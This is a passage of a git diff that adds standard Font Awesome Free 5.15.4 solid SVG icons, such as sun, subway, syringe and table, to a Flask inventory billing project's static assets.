Flask/static/font-awesome/svgs/solid/strikethrough.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stroopwafel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stroopwafel.svg new file mode 100644 index 00000000..e06178ca --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/stroopwafel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/subscript.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/subscript.svg new file mode 100644 index 00000000..1c6440e7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/subscript.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/subway.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/subway.svg new file mode 100644 index 00000000..4462c06a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/subway.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/suitcase-rolling.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/suitcase-rolling.svg new file mode 100644 index 00000000..4448cb22 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/suitcase-rolling.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/suitcase.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/suitcase.svg new file mode 100644 index 00000000..cb3f22ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/suitcase.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sun.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sun.svg new file mode 100644 index 00000000..dd7e2a88 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sun.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/superscript.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/superscript.svg new file mode 100644 index 00000000..011218e3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/superscript.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/surprise.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/surprise.svg new file mode 100644 index 00000000..ec9cc8f5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/surprise.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swatchbook.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swatchbook.svg new file mode 100644 index 00000000..2561b866 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swatchbook.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swimmer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swimmer.svg new file mode 100644 index 00000000..eea22196 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swimmer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swimming-pool.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swimming-pool.svg new file mode 100644 index 00000000..eb1401a7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/swimming-pool.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/synagogue.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/synagogue.svg new file mode 100644 index 00000000..d16412b4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/synagogue.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sync-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sync-alt.svg new file mode 100644 index 00000000..fffda490 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sync-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sync.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sync.svg new file mode 100644 index 00000000..cdecf80e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sync.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/syringe.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/syringe.svg new file mode 100644 index 00000000..0fe1cea6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/syringe.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/table-tennis.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/table-tennis.svg new file mode 100644 index 00000000..941313fd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/table-tennis.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/table.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/table.svg new file mode 100644 index 00000000..efd0a8b0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/table.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tablet-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using 